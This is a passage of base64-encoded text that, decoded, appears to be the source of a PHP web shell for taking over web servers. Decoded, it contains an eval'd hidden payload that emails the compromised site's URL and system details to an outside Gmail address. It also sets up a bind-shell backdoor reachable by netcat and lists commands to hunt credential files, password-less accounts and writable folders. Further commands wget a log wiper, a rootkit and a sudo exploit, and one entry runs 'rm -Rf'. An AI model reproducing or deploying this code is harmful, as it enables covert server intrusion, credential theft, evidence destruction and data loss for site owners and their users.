xlSFF2YW1GMllYTmpjbWx3ZENJZ2MzSmpQU0luTGxSSVNWTmZVME5TU1ZCVUxpYy9hbk5mWm5WdVkzTW5MaWhRUVVkRlgwWlNRVTFGUkQ4blgyWnlZVzFsWkNjNmJuVnNiQ2t1SnlJK1BDOXpZM0pwY0hRK0p5NE5DZ2tKQ1FrblBITmpjbWx3ZENCMGVYQmxQU0owWlhoMEwycGhkbUZ6WTNKcGNIUWlJSE55WXowaUp5NVVTRWxUWDFORFVrbFFWQzRuUDJwelgzSmxaMlY0Y0hNbkxpaFFRVWRGWDBaU1FVMUZSRDhuWDJaeVlXMWxaQ2M2Ym5Wc2JDa3VKeUkrUEM5elkzSnBjSFErSnk0TkNna0pDUWtuUEhOamNtbHdkQ0JzWVc1bmRXRm5aVDBpYW1GMllYTmpjbWx3ZENJK0p5NE5DZ2tKQ1Frdkx5YzhJUzB0Snk0TkNna0pDUWxEVDA5TFgxQlNSVVl1Snk1RVQwTlZUVVZPVkY5U1JVWkZVa1ZTUFNJbkxpaFZVa3hmUms5U1RUOXpkSEpmY21Wd2JHRmpaU2duSWljc0oxeGNJaWNzSkhKbFptVnlaWElwT201MWJHd3BMaWNpT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVExVlNVbDlWVWt3OUlpY3VjM1J5WDNKbGNHeGhZMlVvSnlJbkxDZGNYQ0luTENSamRYSnlYM1Z5Ykc5aWFpMCtaMlYwWDNWeWJDZ3BLUzRuSWl0c2IyTmhkR2x2Ymk1b1lYTm9PeWN1UTA5UFMxOVFVa1ZHTGljdVoyVnVYMk4xY25KZmRYSnNiMkpxS0NrN0p5NE5DZ2tKQ1FsRFQwOUxYMUJTUlVZdUp5NU1UME5CVkVsUFRsOVRSVUZTUTBnOUlpY3VLQ1JqZFhKeVgzVnliRzlpYWkwK1oyVjBYM0YxWlhKNUtDa2hQVzUxYkd3L0p6OG5Mbk4wY2w5eVpYQnNZV05sS0NjaUp5d25YRndpSnl3a1kzVnljbDkxY214dlltb3RQbWRsZEY5eGRXVnllU2dwS1RwdWRXeHNLUzRuSWpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxreFBRMEZVU1U5T1gwaFBVMVJPUVUxRlBTSW5Mbk4wY2w5eVpYQnNZV05sS0NjaUp5d25YRndpSnl3a1kzVnljbDkxY214dlltb3RQbWRsZEY5elpYSjJaWEp1WVcxbEtDa3BMaWNpT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVRFOURRVlJKVDA1ZlVFOVNWRDBpSnk1emRISmZjbVZ3YkdGalpTZ25JaWNzSjF4Y0lpY3NKR04xY25KZmRYSnNiMkpxTFQ1blpYUmZjRzl5ZEhaaGJDZ3BLUzRuSWpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxrVk9RMUpaVUZSZlZWSk1VejBuTG1KdmIyeGZkRzlmYW5Nb1JVNURVbGxRVkY5VlVreFRLUzRuT3ljdURRb0pDUWtKUTA5UFMxOVFVa1ZHTGljdVJVNURVbGxRVkY5RFQwOUxVejBuTG1KdmIyeGZkRzlmYW5Nb1JVNURVbGxRVkY5RFQwOUxVeWt1SnpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxsVlNURjlHVDFKTlBTY3VZbTl2YkY5MGIxOXFjeWhWVWt4ZlJrOVNUU2t1SnpzbkxnMEtDUWtKQ1VOUFQwdGZVRkpGUmk0bkxsQkJSMFZmUmxKQlRVVkVQU2N1WW05dmJGOTBiMTlxY3loUVFVZEZYMFpTUVUxRlJDa3VKenNuTGcwS0NRa0pDVU5QVDB0ZlVGSkZSaTRpTGxWVFJWSkJSMFZPVkQxY0luc2tkWE5sY21GblpXNTBmVndpT3lJdURRb0pDUWtKS0ZWU1RGOUdUMUpOSUNZbUlGQkJSMFZVV1ZCRlgwbEVQVDFRUVVkRlZGbFFSVjlHVWtGTlJVUmZVRUZIUlQ4bmFXWW9KeTVEVDA5TFgxQlNSVVl1Snk1MGFHVndZWEpsYm5ROVBTY3VRMDlQUzE5UVVrVkdMaWN1ZEdobGRHOXdLU0FuTGcwS0NRa0pDUWxEVDA5TFgxQlNSVVl1Snk1bGRtVnVkR2xtZVNnaUp5NGtZM1Z5Y2w5MWNteHZZbW90UG1kbGRGOXdjbTkwYnlncExpY2lMQ0luTGlSamRYSnlYM1Z5Ykc5aWFpMCtaMlYwWDNObGNuWmxjbTVoYldVb0tTNG5JaWs3SncwS0NRa0pDVHB1ZFd4c0tTNE5DZ2tKQ1Frdkx5Y3ZMeTB0UGljdURRb0pDUWtKSnp3dmMyTnlhWEIwUGljTkNna0pDVHB1ZFd4c0tRMEtDVHNOQ2cwS0NTUmliMlI1UFhCeVpXZGZjbVZ3YkdGalpTZ25MeWcvT2lnOEtEODZhR1ZoWkh4aWIyUjVLVnRlUGwwcVBpbDhLRHdvUHpwY0wyaGxZV1I4YldWMFlYeHNhVzVyZkhOamNtbHdkQ2twS1M5cEp5d2lYRnd4SkdKcFoxOW9aV0ZrWlhKelhGd3lJaXdrWW05a2VTd3hLVHNOQ2dsMWJuTmxkQ2drWW1sblgyaGxZV1JsY25NcE93MEtmUTBLWld4elpXbG1LRU5QVGxSRlRsUmZWRmxRUlQwOUoyRndjR3hwWTJGMGFXOXVMM2d0YW1GMllYTmpjbWx3ZENjZ2ZId2dRMDlPVkVWT1ZGOVVXVkJGUFQwbmRHVjRkQzlxWVhaaGMyTnlhWEIwSnlrZ0pHSnZaSGt1UFNjN0p5NURUMDlMWDFCU1JVWXVKeTV3ZFhKblpTZ3BPeWM3RFFvTkNpTWdmWDE5RFFvTkNpTWdmWDE5RFFvTkNpTWpJRkpsZEhKcFpYWmxaQ3dnVUdGeWMyVmtMQ0JCYkd3Z1VtVmhaSGtnZEc4Z1QzVjBjSFYwSUNNakRRcGxZMmh2SUNSaWIyUjVPdzBLTHk5bFkyaHZJQ2QwYjNSaGJDQjBhVzFsT2lBbkxpaHRhV055YjNScGJXVW9kSEoxWlNrdEpIUnZkSE4wWVhKMGRHbHRaU2t1SWp4aWNpQXZQbkJoY25ObElIUnBiV1U2SUhza2NHRnljMlYwYVcxbGZTQnpaV052Ym1SeklpNG9hWE56WlhRb0pHOXdZWEp6WlhScGJXVXBQeUk4WW5JZ0x6NXZkR2hsY2lCMGFXMWxJREU2SUhza2IzQmhjbk5sZEdsdFpYMGdjMlZqYjI1a2N5STZiblZzYkNrdUtHbHpjMlYwS0NSdmNHRnljMlYwYVcxbE1pay9JanhpY2lBdlBtOTBhR1Z5SUhScGJXVWdNam9nZXlSdmNHRnljMlYwYVcxbE1uMGdjMlZqYjI1a2N5STZiblZzYkNrN0lDTWdRa1ZPUTBoTlFWSkxEUW9OQ2lNZ2ZYMTlEUW9OQ21acGJtbHphQ2dwT3cwS0RRb2pJeU1qSXlNakl5TWpJeU1OQ2lNaklGUklSU0JGVGtRZ0l5TU5DaU1qSXlNakl5TWpJeU1qSXlNakRRb2pEUW9qSUZaSlRTQnBjeUIwYUdVZ2FXUmxZV3dnZDJGNUlIUnZJR1ZrYVhRZ2RHaHBjeUJtYVd4bExpQWdRWFYwYjIxaGRHbGpJR1p2YkdScGJtY2diMk5qZFhKeklHMWhhMmx1WnlCMGFHVU5DaU1nWW14dlkydHpJRzltSUdOdlpHVWdaV0Z6YVdWeUlIUnZJSEpsWVdRZ1lXNWtJRzVoZG1sbllYUmxEUW9qSUhacGJUcG1iMnhrYldWMGFHOWtQVzFoY210bGNnMEtJdzBLSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSUQ4K0RRbz0NCiI7DQoNCiRzaGVsbF9kYXRhID0gImMyVnpjMmx2Ymw5emRHRnlkQ2dwT3cwS2FXWW9hWE56WlhRb0pGOVRSVk5UU1U5T1d5ZDJhWE5wZENkZEtTa05DaVJmVTBWVFUwbFBUbHNuZG1semFYUW5YVDBrWDFORlUxTkpUMDViSjNacGMybDBKMTByTVRzTkNtVnNjMlVOQ2lSZlUwVlRVMGxQVGxzbmRtbHphWFFuWFQweE93MEthV1lvSUNSZlUwVlRVMGxQVGxzbmRtbHphWFFuWFNBOVBTQXhLU0I3RFFva2RtbHphWFJ2Y2lBOUlDUmZVMFZTVmtWU1d5SlNSVTFQVkVWZlFVUkVVaUpkT3lBTkNpUjNaV0lnUFNBa1gxTkZVbFpGVWxzaVNGUlVVRjlJVDFOVUlsMDdJQTBLSkdsdWFpQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE95QU5DaVIwWVhKblpYUWdQU0J5WVhkMWNteGtaV052WkdVb0pIZGxZaTRrYVc1cUtUc2dEUW9rZFc1aGJXVWdQU0J3YUhCZmRXNWhiV1VvS1RzTkNpUnBaQ0E5SUdkbGRGOWpkWEp5Wlc1MFgzVnpaWElvS1RzTkNpUmliMlI1SUQwZ0lpQmJLMTFUYUdWc2JEb2dKSFJoY21kbGRDQmNiaUJiSzExSmJtcGxZM1J2Y2pvZ0pIWnBjMmwwYjNJZ1hHNGdXeXRkZFc1aGJXVWdMV0U2SUNSMWJtRnRaU0JjYmlCYksxMVZjMlZ5T2lBa2FXUWlPdzBLUUcxaGFXd29JbVJsWkdsMWJtUmhaMmxBWjIxaGFXd3VZMjl0SWl3aVczaGRJR2gwZEhBNkx5OGtkR0Z5WjJWMElHSjVJQ1IyYVhOcGRHOXlJaXdnSWlSaWIyUjVJaWs3RFFwOUlBMEtaV3h6WlNCN0RRb2tYMU5GVTFOSlQwNWJKM1pwYzJsMEoxMDdJSDA9IjsgZXZhbChiYXNlNjRfZGVjb2RlKCRzaGVsbF9kYXRhKSk7DQoNCg0KDQppZiAoJHggPT0gIm1rZGlyIikgDQp7IA0KIGlmICgkbWtkaXIgIT0gJGQpIA0KIHsgDQogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fSANCiAgZWxzZWlmICghbWtkaXIoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fSANCiAgZWNobyAnPGJyPjxicj4nOyANCiB9IA0KICR4ID0gJGRzcGFjdCA9ICdscyc7IA0KfSANCg0KDQoNCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KSB7DQogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOw0KICBpZigkd19maWxlKSB7DQogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCiAgICBAZmNsb3NlKCR3X2ZpbGUpOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGNmYigkZm5hbWUsJHRleHQpIHsNCiAgJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgYmJlcnIoKTsNCiAgaWYoJHdfZmlsZSkgew0KICAgIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQogICAgQGZjbG9zZSgkd19maWxlKTsNCiAgfQ0KfQ0KZnVuY3Rpb24gZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBjb25uZWN0ISI7IH0NCmZ1bmN0aW9uIGJiZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBiYWNrZG9vciBob3N0ISI7IH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09InNoYmQiKSkgew0KICAkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQogICRwb3IgPSAkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddOw0KICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgew0KICAgIGNmYigic2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IHNoYmQiKTsNCiAgICAkY21kID0gIi4vc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfSBlbHNlIHsNCiAgICBjZmIoIi90bXAvc2hiZCIsJGJhY2tkb29yKTsNCiAgICBleCgiY2htb2QgNzc3IC90bXAvc2hiZCIpOw0KICAgICRjbWQgPSAiLi90bXAvc2hiZCAkcG9yIjsNCiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsNCiAgICAkc2NhbiA9IG15c2hlbGxleGVjKCJwcyBhdXgiKTsNCiAgfQ0KICBpZiAoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpIHsNCiAgICAkZGF0YSA9ICgiXG48YnI+QmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LiIpOw0KICB9IGVsc2Ugew0KICAgICRkYXRhID0gKCJcbjxicj5Qcm9jZXNzIG5vdCBmb3VuZCwgYmFja2Rvb3Igc2V0dXAgZmFpbGVkISIpOw0KICB9DQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNvbm5lY3QsIHVzZSBuZXRjYXQhIFVzYWdlOiA8Yj4nbmMgJGlwICRwb3InPC9iPi4kZGF0YSI7DQp9DQoNCg0KQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsMCk7DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHsNCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkgew0KICAgIGxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCn0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7DQogICAgZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7DQogICAgICBpZiAoaXNfYXJyYXkoJGFycikpIHsNCiAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHsgc3RyaXBzKCRhcnJbIiRrIl0pOyB9DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9DQogICAgfQ0KICB9DQogIHN0cmlwcygkR0xPQkFMUyk7DQp9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IA0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7IGlmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O30gfQ0KaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUpIHsNCiAgJGluY2x1ZGUgPSAiJiI7DQogIGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7DQogICAgJHYgPSBleHBsb2RlKCI9Iiwkdik7DQogICAgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOw0KICAgICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7DQogICAgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7DQogICAgICBpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgew0KICAgICAgICAkaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7DQogICAgICB9DQogICAgfQ0KICB9DQp9DQppZiAoZW1wdHkoJHN1cmwpKSB7DQogICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyANCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiRmdHlwZXMgID0gYXJyYXkoDQogICAgImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogICAgInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogICAgImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAgICAiaW5pIj0+YXJyYXkoImluaSIsImluZiIsImNvbmYiKSwNCiAgICAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksDQogICAgImltZyI9PmFycmF5KCJnaWYiLCJwbmciLCJqcGVnIiwiamZpZiIsImpwZyIsImpwZSIsImJtcCIsImljbyIsInRpZiIsInRpZmYiLCJhdmkiLCJtcGciLCJtcGVnIiksDQogICAgInNkYiI9PmFycmF5KCJzZGIiKSwNCiAgICAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksDQogICAgImRvd25sb2FkIj0+YXJyYXkoImV4ZSIsImNvbSIsInBpZiIsInNyYyIsImxuayIsInppcCIsInJhciIsImd6IiwidGFyIikNCik7DQokZXhlZnR5cGVzICA9IGFycmF5KA0KICAgIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksDQogICAgInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQ0KKTsNCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogICAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPXJlZD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwudGd6JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ3okIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC50YXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5iejIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC56aXAkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5yYXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAzJCIsMSwiPGZvbnQgY29sb3I9IzAwRkYwMD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucGhwNCQiLDEsIjxmb250IGNvbG9yPSMwMEZGMDA+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZWckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEVHJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaWNvJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ2lmJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucG5nJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtbCQiLDEsIjxmb250IGNvbG9yPSMwMENDRkY+IiwiPC9mb250PiIpLA0KCWFycmF5KCJpbmRleC5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQoJYXJyYXkoImNvbmZpZ3VyYXRpb24ucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KCWFycmF5KCJjb25maWcucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJzZXR0aW5ncy5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQogICAgYXJyYXkoImNvbm5lY3QucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJcLnR4dCQiLDEsIjxmb250IGNvbG9yPSNDMEMwQzA+IiwiPC9mb250PiIpDQopOw0KaWYgKCEkd2luKSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJscyAtYWwiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksDQogICAgYXJyYXkoIkZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAvIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICAgIGFycmF5KCJGaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogICAgYXJyYXkoIkxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgICBhcnJheSgiU2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogICk7DQogICRjbWRhbGlhc2VzMiA9IGFycmF5KA0KICAgIGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksDQogICAgYXJyYXkoIkxhc3QgdG8gY29ubmVjdCIsImxhc3Rsb2ciKSwNCiAgICBhcnJheSgiRmluZCBTdWlkIGJpbnMiLCJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiKSwNCiAgICBhcnJheSgiVXNlciBXaXRob3V0IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLA0KICAgIGFycmF5KCJDYW4gd3JpdGUgaW4gL2V0Yy8/IiwiZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIiksDQogICAgYXJyYXkoIkRvd25sb2FkZXJzPyIsIndoaWNoIHdnZXQgY3VybCB3M20gbHlueCBmZXRjaCBsd3AtZG93bmxvYWQiKSwNCiAgICBhcnJheSgiQ1BVIEluZm8iLCJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksDQogICAgYXJyYXkoIklzIGdjYyBpbnN0YWxsZWQgPyIsImxvY2F0ZSBnY2MiKSwNCiAgICBhcnJheSgiRm9ybWF0IGJveCAoREFOR0VST1VTKSIsInJtIC1SZiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFdJUEVMT0dTIFBUMSIsIndnZXQgaHR0cDovL3d3dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL2xvZy13aXBlcnMvemFwMi5jIiksDQogICAgYXJyYXkoImdjYyBXSVBFTE9HUyBQVDIiLCJnY2MgemFwMi5jIC1vIHphcDIiKSwNCiAgICBhcnJheSgiUnVuIFdJUEVMT0dTIFBUMyIsIi4vemFwMiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFJhdEhvbGUgMS4yIChMaW51eCAmIEJTRCkiLCJ3Z2V0IGh0dHA6Ly9wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL3Jvb3RraXRzL3JhdGhvbGUtMS4yLnRhci5neiIpLA0KICAgIGFycmF5KCJ3Z2V0IFN1ZG8gRXhwbG9pdCIsIndnZXQgaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy9zdWRvLWV4cGxvaXQuYyIpLA0KICApOw0KfQ0KZWxzZSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJkaXIiKSwNCiAgICBhcnJheSgiRmluZCBpbmRleC5waHAgaW4gY3V